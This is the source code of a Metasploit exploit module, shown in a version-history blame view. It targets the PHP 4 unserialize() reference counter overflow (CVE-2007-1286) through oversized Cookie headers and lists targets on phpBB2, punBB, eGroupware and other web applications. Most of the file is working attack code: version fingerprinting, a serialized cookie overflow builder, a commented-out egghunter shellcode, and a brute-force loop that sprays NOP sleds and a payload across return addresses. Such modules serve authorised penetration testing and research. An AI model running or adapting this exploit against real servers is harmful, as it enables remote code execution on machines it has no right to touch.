2007-03-11 01:03:02 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-03-11 01:03:02 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-03-11 01:03:02 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-03-11 01:03:02 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-03-11 01:03:02 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Brute
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-03-17 18:55:25 +00:00
|
|
|
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
|
2007-03-11 01:03:02 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits an integer overflow vulnerability in the unserialize()
|
|
|
|
function of the PHP web server extension. This vulnerability was patched by
|
|
|
|
Stefan in version 4.5.0 and applies all previous versions supporting this function.
|
|
|
|
This particular module targets numerous web applications and is based on the proof
|
|
|
|
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
|
|
|
|
of data to trigger due the multiple Cookie headers requirement. Since we
|
|
|
|
are already assuming a fast network connection, we use a 2Mb block of shellcode for
|
|
|
|
the brute force, allowing quick exploitation for those with fast networks.
|
|
|
|
|
|
|
|
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
|
|
|
|
into the beginning of the hashtable string. This can be used with an egghunter to
|
|
|
|
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
|
|
|
|
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
|
|
|
|
module is more reliable across a wider range of systems.
|
2007-03-11 01:03:02 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2007-03-11 01:03:02 +00:00
|
|
|
'hdm', # module development
|
|
|
|
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging
|
|
|
|
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2007-03-11 01:03:02 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-05-07 04:48:45 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-03-11 01:03:02 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
['CVE', '2007-1286'],
|
|
|
|
['OSVDB', '32771'],
|
2007-03-11 01:03:02 +00:00
|
|
|
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-03-11 01:03:02 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 16:30:23 +00:00
|
|
|
#
|
|
|
|
# 64-bit SuSE: 0x005c0000
|
|
|
|
# Backtrack 2.0: 0xb797a000
|
|
|
|
# Gentoo: 0xb6900000
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 Generic',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
2007-03-17 18:55:25 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 18:55:25 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 18:55:25 +00:00
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
|
|
|
[ 'Linux x86 phpBB2',
|
2007-03-11 01:03:02 +00:00
|
|
|
{
|
2007-03-17 18:55:25 +00:00
|
|
|
'DefaultCookie' => 'phpbb2mysql_data',
|
|
|
|
'DefaultURI' => '/phpBB2/faq.php',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Signature' => /Powered\s+by.*phpBB/,
|
|
|
|
'Platform' => 'linux',
|
2007-03-17 18:55:25 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-11 01:03:02 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-11 01:03:02 +00:00
|
|
|
}
|
2007-03-17 18:55:25 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 punBB',
|
2007-03-17 18:55:25 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'punbb_cookie',
|
|
|
|
'DefaultURI' => '/index.php',
|
|
|
|
'Signature' => /Powered\s+by.*PunBB/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 18:55:25 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 18:55:25 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 18:55:25 +00:00
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 WWWThreads',
|
2007-03-17 18:55:25 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'forum_cookie',
|
|
|
|
'DefaultURI' => '/index.php',
|
|
|
|
'Signature' => /Powered\s+by.*WWWThreads/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 18:55:25 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 18:55:25 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 18:55:25 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 Deadman Redirect',
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'authcookie',
|
|
|
|
'DefaultURI' => '/dmr/dmr.php',
|
|
|
|
'Signature' => /document\.f\.userdata\.focus/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 20:10:57 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 PhpWebGallery',
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'pwg_remember',
|
|
|
|
'DefaultURI' => '/phpwebgallery/index.php',
|
|
|
|
'Signature' => /Powered\s+by.*phpwebgallery/msi,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 20:10:57 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 Ariadne-CMS',
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'ARCookie',
|
|
|
|
'DefaultURI' => '/ariadne/loader.php/',
|
|
|
|
'Signature' => /Ariadne is free software/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 20:10:57 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
}
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Linux x86 ProMA',
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'proma',
|
|
|
|
'DefaultURI' => '/proma/index.php',
|
|
|
|
'Signature' => /Change Account Information/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 20:10:57 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
|
|
|
[ 'Linux x86 eGroupware',
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'DefaultCookie' => 'eGW_remember',
|
|
|
|
'DefaultURI' => '/egroupware/login.php',
|
|
|
|
'Signature' => /www.egroupware.org/,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Platform' => 'linux',
|
2007-03-17 20:10:57 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Bruteforce' =>
|
2007-03-17 20:10:57 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xb6000400 },
|
|
|
|
'Stop' => { 'Ret' => 0xbfff0000 },
|
|
|
|
'Step' => 1024*1024
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2007-03-17 20:10:57 +00:00
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
]
|
2007-03-11 01:03:02 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 04 2007'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2007-03-17 18:55:25 +00:00
|
|
|
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
|
|
|
|
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
|
2007-03-11 01:03:02 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
|
|
|
|
def check
|
2007-03-17 18:55:25 +00:00
|
|
|
print_status("Checking for a vulnerable PHP version...")
|
|
|
|
|
|
|
|
#
|
|
|
|
# Pick the URI and Cookie name
|
|
|
|
#
|
|
|
|
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
|
|
|
|
uri_path = datastore['URI'] || target['DefaultURI']
|
|
|
|
|
|
|
|
if(not cookie_name)
|
|
|
|
raise RuntimeError, "The COOKIENAME option must be set"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
if(not uri_path)
|
|
|
|
raise RuntimeError, "The URI option must be set"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
res = send_request_cgi({
|
2007-03-17 18:55:25 +00:00
|
|
|
'uri' => uri_path,
|
2007-03-17 04:43:25 +00:00
|
|
|
'method' => 'GET'
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
php_bug = false
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
if (not res)
|
|
|
|
print_status("No response from the server")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
http_fingerprint({ :response => res }) # check method
|
2010-06-25 20:53:12 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
if (res.code != 200)
|
|
|
|
print_status("The server returned #{res.code} #{res.message}")
|
2010-04-30 08:40:19 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2007-03-17 04:43:25 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:08:41 +00:00
|
|
|
if (
|
2010-09-20 08:06:27 +00:00
|
|
|
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
|
|
|
|
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
|
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
php_raw = $1
|
|
|
|
php_ver = php_raw.split('.')
|
|
|
|
|
|
|
|
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
|
|
|
|
print_status("The server runs a vulnerable version of PHP (#{php_raw})")
|
|
|
|
php_bug = true
|
|
|
|
else
|
|
|
|
print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
|
2010-04-30 08:40:19 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2007-03-17 04:43:25 +00:00
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
# Detect the phpBB cookie name
|
2007-03-17 04:43:25 +00:00
|
|
|
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
|
2007-03-17 18:55:25 +00:00
|
|
|
print_status("The server may require a cookie name of '#{$1}_data'")
|
2007-03-17 04:43:25 +00:00
|
|
|
end
|
2007-03-17 18:55:25 +00:00
|
|
|
|
|
|
|
if(target and target['Signature'])
|
2010-04-30 08:40:19 +00:00
|
|
|
if (res.body and res.body.match(target['Signature']))
|
2007-03-17 18:55:25 +00:00
|
|
|
print_status("Detected target #{target.name}")
|
|
|
|
else
|
|
|
|
print_status("Did not detect target #{target.name}")
|
|
|
|
end
|
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
end
|
2007-03-17 18:55:25 +00:00
|
|
|
|
2007-03-17 04:43:25 +00:00
|
|
|
return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
def brute_exploit(target_addrs)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
zvalref = encode_semis('i:0;R:2;')
|
|
|
|
|
|
|
|
#
|
|
|
|
# Use this if we decide to do 'jmp edi' returns vs brute force
|
|
|
|
#
|
|
|
|
=begin
|
|
|
|
# Linux specific egg-hunter
|
|
|
|
tagger = "\x90\x50\x90\x50"
|
2010-04-30 08:40:19 +00:00
|
|
|
hunter =
|
2007-03-11 01:03:02 +00:00
|
|
|
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
|
|
|
|
"\x3c\xf2\x74\xf1\xb8" +
|
|
|
|
tagger +
|
|
|
|
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
|
|
|
|
|
|
|
|
egghunter = "\xcc" * 39
|
|
|
|
egghunter[0, hunter.length] = hunter
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
hashtable = "\xcc" * 39
|
|
|
|
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
|
|
|
|
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
|
|
|
|
=end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Just brute-force addresses for now
|
2010-04-30 08:40:19 +00:00
|
|
|
#
|
2007-03-11 01:03:02 +00:00
|
|
|
tagger = ''
|
|
|
|
egghunter = rand_text_alphanumeric(39)
|
|
|
|
hashtable = rand_text_alphanumeric(39)
|
|
|
|
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
|
|
|
|
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
|
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Pick the URI and Cookie name
|
|
|
|
#
|
|
|
|
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
|
|
|
|
uri_path = datastore['URI'] || target['DefaultURI']
|
|
|
|
|
|
|
|
if(not cookie_name)
|
|
|
|
raise RuntimeError, "The COOKIENAME option must be set"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
if(not uri_path)
|
|
|
|
raise RuntimeError, "The URI option must be set"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
# Generate and reuse the original buffer to save CPU
|
|
|
|
if (not @saved_cookies)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
# Building the malicious request
|
|
|
|
print_status("Creating the request...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
# Create the first cookie header to get this started
|
2007-03-17 18:55:25 +00:00
|
|
|
cookie_fun = "Cookie: #{cookie_name}="
|
2007-03-11 01:03:02 +00:00
|
|
|
cookie_fun << Rex::Text.uri_encode(
|
2010-04-30 08:40:19 +00:00
|
|
|
'a:100000:{s:8:"' +
|
2007-03-17 18:55:25 +00:00
|
|
|
rand_text_alphanumeric(8) +
|
2010-04-30 08:40:19 +00:00
|
|
|
'";a:3:{s:12:"' +
|
|
|
|
rand_text_alphanumeric(12) +
|
2007-03-17 18:55:25 +00:00
|
|
|
'";a:1:{s:12:"' +
|
|
|
|
rand_text_alphanumeric(12) +
|
|
|
|
'";i:0;}s:12:"' +
|
|
|
|
rand_text_alphanumeric(12) +
|
|
|
|
'";'+
|
|
|
|
'i:0;s:12:"' +
|
|
|
|
rand_text_alphanumeric(12) +
|
|
|
|
'";i:0;}'
|
2007-03-11 01:03:02 +00:00
|
|
|
)
|
|
|
|
cookie_fun << zvalref * 500
|
|
|
|
cookie_fun << Rex::Text.uri_encode('s:2:"')
|
|
|
|
cookie_fun << "\r\n"
|
|
|
|
|
|
|
|
refcnt = 1000
|
|
|
|
refmax = 65535
|
|
|
|
|
|
|
|
# Keep adding cookie headers...
|
2010-04-30 08:40:19 +00:00
|
|
|
while(refcnt < refmax)
|
2007-03-11 01:03:02 +00:00
|
|
|
|
|
|
|
chead = 'Cookie: ';
|
|
|
|
chead << encode_semis('";N;')
|
|
|
|
|
|
|
|
# Stay within the 8192 byte limit
|
|
|
|
0.upto(679) do |i|
|
|
|
|
break if refcnt >= refmax
|
|
|
|
refcnt += 1
|
|
|
|
|
|
|
|
chead << zvalref
|
|
|
|
end
|
|
|
|
chead << encode_semis('s:2:"')
|
|
|
|
cookie_fun << chead + "\r\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
# The final header, including the hashtable with return address
|
|
|
|
cookie_fun << "Cookie: "
|
|
|
|
cookie_fun << Rex::Text.uri_encode('";N;')
|
2010-04-30 08:40:19 +00:00
|
|
|
cookie_fun << zvalref * 500
|
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
@saved_cookies = cookie_fun
|
|
|
|
end
|
|
|
|
|
|
|
|
# Generate and reuse the payload to save CPU time
|
|
|
|
if (not @saved_payload)
|
|
|
|
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
cookie_addrs = Rex::Text.uri_encode(
|
|
|
|
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
|
|
|
|
) + "\r\n"
|
|
|
|
|
|
|
|
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
|
|
|
|
res = send_request_cgi({
|
2007-03-17 18:55:25 +00:00
|
|
|
'uri' => uri_path,
|
2007-03-11 01:03:02 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'raw_headers' => @saved_cookies + cookie_addrs,
|
|
|
|
'data' => @saved_payload
|
|
|
|
}, 1)
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
if res
|
2007-03-17 18:55:25 +00:00
|
|
|
failed = false
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-11 01:03:02 +00:00
|
|
|
print_status("Received a response: #{res.code} #{res.message}")
|
2007-03-17 18:55:25 +00:00
|
|
|
|
|
|
|
if (res.code != 200)
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("The server returned a non-200 response, indicating that the exploit failed.")
|
2010-04-30 08:40:19 +00:00
|
|
|
failed = true
|
2007-03-17 18:55:25 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
if (not failed and (res.body and res.body.length > 0))
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error("The server returned a real response, indicating that the exploit failed.")
|
2007-03-17 18:55:25 +00:00
|
|
|
failed = true
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-17 18:55:25 +00:00
|
|
|
if (failed)
|
|
|
|
print_status("Please verify the URI and COOKIENAME parameters.")
|
|
|
|
print_line('')
|
|
|
|
print_line("*" * 40)
|
|
|
|
print_line(res.body)
|
|
|
|
print_line("*" * 40)
|
|
|
|
print_line('')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
raise RuntimeError, "Exploit settings are probably wrong"
|
2007-03-17 18:55:25 +00:00
|
|
|
end
|
2007-03-11 01:03:02 +00:00
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def encode_semis(str)
|
|
|
|
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|